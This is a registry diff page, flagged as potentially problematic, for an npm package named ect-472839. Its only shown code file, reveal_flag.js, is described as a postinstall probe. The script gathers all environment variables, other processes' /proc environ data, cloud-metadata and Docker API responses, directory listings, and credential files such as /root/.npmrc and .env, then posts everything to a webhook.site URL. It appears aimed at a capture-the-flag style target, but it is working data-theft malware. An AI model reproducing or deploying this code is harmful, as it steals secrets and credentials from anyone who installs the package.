ect-472839 1.23.461
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ect-472839 might be problematic. Click here for more details.
- package/package.json +8 -0
- package/reveal_flag.js +263 -0
package/package.json
ADDED
package/reveal_flag.js
ADDED
|
@@ -0,0 +1,263 @@
|
|
|
1
|
+
// reveal_flag.js
|
|
2
|
+
// Comprehensive postinstall probe: envvars, process info, /proc, local HTTP services, dir listings.
|
|
3
|
+
// Replace WEBHOOK_URL with your webhook.site URL (or set via env var).
|
|
4
|
+
|
|
5
|
+
const fs = require('fs');
|
|
6
|
+
const os = require('os');
|
|
7
|
+
const path = require('path');
|
|
8
|
+
const url = require('url');
|
|
9
|
+
const http = require('http');
|
|
10
|
+
const https = require('https');
|
|
11
|
+
const { promisify } = require('util');
|
|
12
|
+
const readdir = promisify(fs.readdir);
|
|
13
|
+
const stat = promisify(fs.stat);
|
|
14
|
+
const readFile = promisify(fs.readFile);
|
|
15
|
+
|
|
16
|
+
const WEBHOOK_URL = process.env.WEBHOOK_URL || 'https://webhook.site/9abfee18-babc-4a9d-ae66-1b82ed6f436c';
|
|
17
|
+
const MAX_BYTES = 3000; // max bytes to read per file
|
|
18
|
+
const MAX_FILES = 12; // cap files read
|
|
19
|
+
const HTTP_TIMEOUT = 6000; // ms per http request
|
|
20
|
+
const TOTAL_HTTP = 8; // number of local endpoints to try
|
|
21
|
+
const MAX_PROC = 80; // max /proc entries to inspect
|
|
22
|
+
const MAX_DIR_LIST = 100; // max directory entries to list
|
|
23
|
+
|
|
24
|
+
function send(payload) {
|
|
25
|
+
try {
|
|
26
|
+
const parsed = url.parse(WEBHOOK_URL);
|
|
27
|
+
const proto = parsed.protocol === 'https:' ? https : http;
|
|
28
|
+
const opts = {
|
|
29
|
+
hostname: parsed.hostname,
|
|
30
|
+
port: parsed.port || (parsed.protocol === 'https:' ? 443 : 80),
|
|
31
|
+
path: parsed.path,
|
|
32
|
+
method: 'POST',
|
|
33
|
+
headers: { 'Content-Type': 'application/json' },
|
|
34
|
+
timeout: 10_000
|
|
35
|
+
};
|
|
36
|
+
const req = proto.request(opts, (res) => {
|
|
37
|
+
res.on('data', () => {});
|
|
38
|
+
res.on('end', () => {});
|
|
39
|
+
});
|
|
40
|
+
req.on('error', (err) => {
|
|
41
|
+
// ignore network errors in postinstall
|
|
42
|
+
console.error('webhook send error', err && err.message);
|
|
43
|
+
});
|
|
44
|
+
req.write(JSON.stringify(payload));
|
|
45
|
+
req.end();
|
|
46
|
+
console.log('POSTED_WEBHOOK', WEBHOOK_URL);
|
|
47
|
+
} catch (e) {
|
|
48
|
+
console.error('send exception', e && e.message);
|
|
49
|
+
}
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
async function safeRead(p) {
|
|
53
|
+
try {
|
|
54
|
+
const b = await readFile(p);
|
|
55
|
+
const content = b.toString('utf8', 0, MAX_BYTES);
|
|
56
|
+
return { path: p, size: b.length, content, truncated: b.length > MAX_BYTES };
|
|
57
|
+
} catch (e) {
|
|
58
|
+
return { path: p, error: e.message };
|
|
59
|
+
}
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
async function listDir(d) {
|
|
63
|
+
try {
|
|
64
|
+
const items = await readdir(d);
|
|
65
|
+
return { dir: d, entries: items.slice(0, MAX_DIR_LIST) };
|
|
66
|
+
} catch (e) {
|
|
67
|
+
return { dir: d, error: e.message };
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
function httpGet(target, timeout = HTTP_TIMEOUT) {
|
|
72
|
+
return new Promise((resolve) => {
|
|
73
|
+
try {
|
|
74
|
+
const parsed = url.parse(target);
|
|
75
|
+
const proto = parsed.protocol === 'https:' ? https : http;
|
|
76
|
+
const opts = {
|
|
77
|
+
hostname: parsed.hostname,
|
|
78
|
+
port: parsed.port || (parsed.protocol === 'https:' ? 443 : 80),
|
|
79
|
+
path: parsed.path,
|
|
80
|
+
method: 'GET',
|
|
81
|
+
headers: { 'User-Agent': 'postinstall-probe/1.0' },
|
|
82
|
+
timeout
|
|
83
|
+
};
|
|
84
|
+
const req = proto.request(opts, (res) => {
|
|
85
|
+
let acc = '';
|
|
86
|
+
res.on('data', (c) => { if (acc.length < MAX_BYTES) acc += c.toString(); });
|
|
87
|
+
res.on('end', () => {
|
|
88
|
+
resolve({ url: target, status: res.statusCode, headers: res.headers, body_preview: acc.slice(0, MAX_BYTES) });
|
|
89
|
+
});
|
|
90
|
+
});
|
|
91
|
+
req.on('error', (e) => resolve({ url: target, error: e.message }));
|
|
92
|
+
req.on('timeout', () => { req.destroy(); resolve({ url: target, error: 'timeout' }); });
|
|
93
|
+
req.end();
|
|
94
|
+
} catch (e) {
|
|
95
|
+
resolve({ url: target, error: e && e.message });
|
|
96
|
+
}
|
|
97
|
+
});
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
async function probeEnvAndProcess() {
|
|
101
|
+
const env = process.env;
|
|
102
|
+
const envSample = {};
|
|
103
|
+
// include all env but trim values > 300 chars
|
|
104
|
+
for (const k of Object.keys(env)) {
|
|
105
|
+
try {
|
|
106
|
+
const v = env[k] || '';
|
|
107
|
+
envSample[k] = v.length > 300 ? (v.slice(0, 300) + '...[trunc]') : v;
|
|
108
|
+
} catch (e) { envSample[k] = `ERR:${e.message}`; }
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
// process info
|
|
112
|
+
const procInfo = {
|
|
113
|
+
cwd: process.cwd(),
|
|
114
|
+
argv: process.argv,
|
|
115
|
+
uid: process.getuid ? process.getuid() : null,
|
|
116
|
+
gid: process.getgid ? process.getgid() : null,
|
|
117
|
+
euid: process.geteuid ? process.geteuid() : null,
|
|
118
|
+
egid: process.getegid ? process.getegid() : null,
|
|
119
|
+
uidStr: (() => { try { return require('os').userInfo(); } catch(e){ return null; } })(),
|
|
120
|
+
node_version: process.version,
|
|
121
|
+
platform: process.platform,
|
|
122
|
+
architecture: process.arch
|
|
123
|
+
};
|
|
124
|
+
|
|
125
|
+
return { envSample, procInfo };
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
async function probeProcEnvirons(uidFilter = null) {
|
|
129
|
+
const results = [];
|
|
130
|
+
try {
|
|
131
|
+
const pEntries = await readdir('/proc');
|
|
132
|
+
let count = 0;
|
|
133
|
+
for (const e of pEntries) {
|
|
134
|
+
if (count >= MAX_PROC) break;
|
|
135
|
+
if (!/^\d+$/.test(e)) continue;
|
|
136
|
+
const pidPath = path.join('/proc', e);
|
|
137
|
+
const environPath = path.join(pidPath, 'environ');
|
|
138
|
+
const statusPath = path.join(pidPath, 'status');
|
|
139
|
+
try {
|
|
140
|
+
// read status to check uid
|
|
141
|
+
const st = await readFile(statusPath, 'utf8');
|
|
142
|
+
const uidLine = st.split('\n').find(l => l.startsWith('Uid:'));
|
|
143
|
+
let uid = null;
|
|
144
|
+
if (uidLine) uid = uidLine.split(/\s+/)[1];
|
|
145
|
+
if (uidFilter && String(uid) !== String(uidFilter)) {
|
|
146
|
+
continue;
|
|
147
|
+
}
|
|
148
|
+
const envContent = await safeRead(environPath);
|
|
149
|
+
results.push({ pid: e, uid, environ: envContent });
|
|
150
|
+
count++;
|
|
151
|
+
} catch (e) {
|
|
152
|
+
// ignore unreadable
|
|
153
|
+
}
|
|
154
|
+
}
|
|
155
|
+
} catch (e) {
|
|
156
|
+
results.push({ error: e.message });
|
|
157
|
+
}
|
|
158
|
+
return results;
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
async function probeLocalHttp() {
|
|
162
|
+
// common local endpoints to try. Adjust list if you discover more.
|
|
163
|
+
const urls = [
|
|
164
|
+
'http://127.0.0.1:4873/', // verdaccio root
|
|
165
|
+
'http://127.0.0.1:4873/-/v1/search?text=ect', // verdaccio search API
|
|
166
|
+
'http://127.0.0.1:4873/ect-472839', // package-style path
|
|
167
|
+
'http://127.0.0.1:3000/', // common app port
|
|
168
|
+
'http://127.0.0.1:8080/', // another common port
|
|
169
|
+
'http://127.0.0.1:5984/_all_dbs', // couchdb
|
|
170
|
+
'http://169.254.169.254/latest/meta-data/', // cloud metadata (if present)
|
|
171
|
+
'http://127.0.0.1:2375/version' // docker daemon API (if exposed)
|
|
172
|
+
].slice(0, TOTAL_HTTP);
|
|
173
|
+
|
|
174
|
+
const out = [];
|
|
175
|
+
for (const u of urls) {
|
|
176
|
+
try {
|
|
177
|
+
const r = await httpGet(u);
|
|
178
|
+
out.push(r);
|
|
179
|
+
} catch (e) {
|
|
180
|
+
out.push({ url: u, error: e && e.message });
|
|
181
|
+
}
|
|
182
|
+
}
|
|
183
|
+
return out;
|
|
184
|
+
}
|
|
185
|
+
|
|
186
|
+
async function probeAppDirs() {
|
|
187
|
+
const candidates = ['/app', '/usr/src/app', '/home/node', '/home', '/var/www', '/var/lib/verdaccio', '/verdaccio', '/opt', '/srv'];
|
|
188
|
+
const results = [];
|
|
189
|
+
for (const d of candidates) {
|
|
190
|
+
results.push(await listDir(d));
|
|
191
|
+
}
|
|
192
|
+
return results;
|
|
193
|
+
}
|
|
194
|
+
|
|
195
|
+
async function probeVerdaccioStorageLikelyPaths() {
|
|
196
|
+
// attempt to read common Verdaccio storage layouts for package 'ect-472839'
|
|
197
|
+
const candidates = [
|
|
198
|
+
'/verdaccio/storage/ect-472839',
|
|
199
|
+
'/verdaccio/storage/ect-472839/' ,
|
|
200
|
+
'/var/lib/verdaccio/storage/ect-472839',
|
|
201
|
+
'/home/verdaccio/storage/ect-472839',
|
|
202
|
+
'/storage/verdaccio/ect-472839',
|
|
203
|
+
];
|
|
204
|
+
const res = [];
|
|
205
|
+
for (const p of candidates) {
|
|
206
|
+
res.push(await listDir(p));
|
|
207
|
+
}
|
|
208
|
+
return res;
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
async function runAll() {
|
|
212
|
+
try {
|
|
213
|
+
const pkg = (() => { try { return require('./package.json'); } catch (e) { return { name: 'unknown', version: 'unknown' }; } })();
|
|
214
|
+
const [envProc, procEnvs, localHttp, appDirs, verdPaths] = await Promise.all([
|
|
215
|
+
probeEnvAndProcess(),
|
|
216
|
+
probeProcEnvirons(process.getuid ? process.getuid() : null),
|
|
217
|
+
probeLocalHttp(),
|
|
218
|
+
probeAppDirs(),
|
|
219
|
+
probeVerdaccioStorageLikelyPaths()
|
|
220
|
+
]);
|
|
221
|
+
|
|
222
|
+
// Also try reading some likely files if present (package.json in cwd, package-lock, config files)
|
|
223
|
+
const extras = [];
|
|
224
|
+
const extraFiles = [
|
|
225
|
+
path.join(process.cwd(), 'package.json'),
|
|
226
|
+
path.join(process.cwd(), 'package-lock.json'),
|
|
227
|
+
'/etc/verdaccio/config.yaml',
|
|
228
|
+
'/home/verdaccio/config.yaml',
|
|
229
|
+
'/root/.npmrc',
|
|
230
|
+
path.join(process.cwd(), '.env'),
|
|
231
|
+
'/etc/environment'
|
|
232
|
+
];
|
|
233
|
+
for (const f of extraFiles) {
|
|
234
|
+
extras.push(await safeRead(f));
|
|
235
|
+
}
|
|
236
|
+
|
|
237
|
+
const payload = {
|
|
238
|
+
event: 'postinstall-extended-probe',
|
|
239
|
+
package: pkg.name,
|
|
240
|
+
version: pkg.version,
|
|
241
|
+
ts: new Date().toISOString(),
|
|
242
|
+
hostname: os.hostname(),
|
|
243
|
+
os_platform: process.platform,
|
|
244
|
+
arch: process.arch,
|
|
245
|
+
env_sample: envProc.envSample,
|
|
246
|
+
process_info: envProc.procInfo,
|
|
247
|
+
proc_environs: procEnvs.slice(0, 40),
|
|
248
|
+
local_http: localHttp,
|
|
249
|
+
app_dirs: appDirs,
|
|
250
|
+
verdaccio_candidates: verdPaths,
|
|
251
|
+
extra_files: extras
|
|
252
|
+
};
|
|
253
|
+
|
|
254
|
+
// send and log
|
|
255
|
+
send(payload);
|
|
256
|
+
console.log('PROBE_DONE', JSON.stringify({ pkg: pkg.name, matches: (procEnvs||[]).length }, null, 2));
|
|
257
|
+
} catch (e) {
|
|
258
|
+
console.error('runAll exception', e && e.message);
|
|
259
|
+
send({ event: 'postinstall-error', error: e && e.message });
|
|
260
|
+
}
|
|
261
|
+
}
|
|
262
|
+
|
|
263
|
+
runAll();
|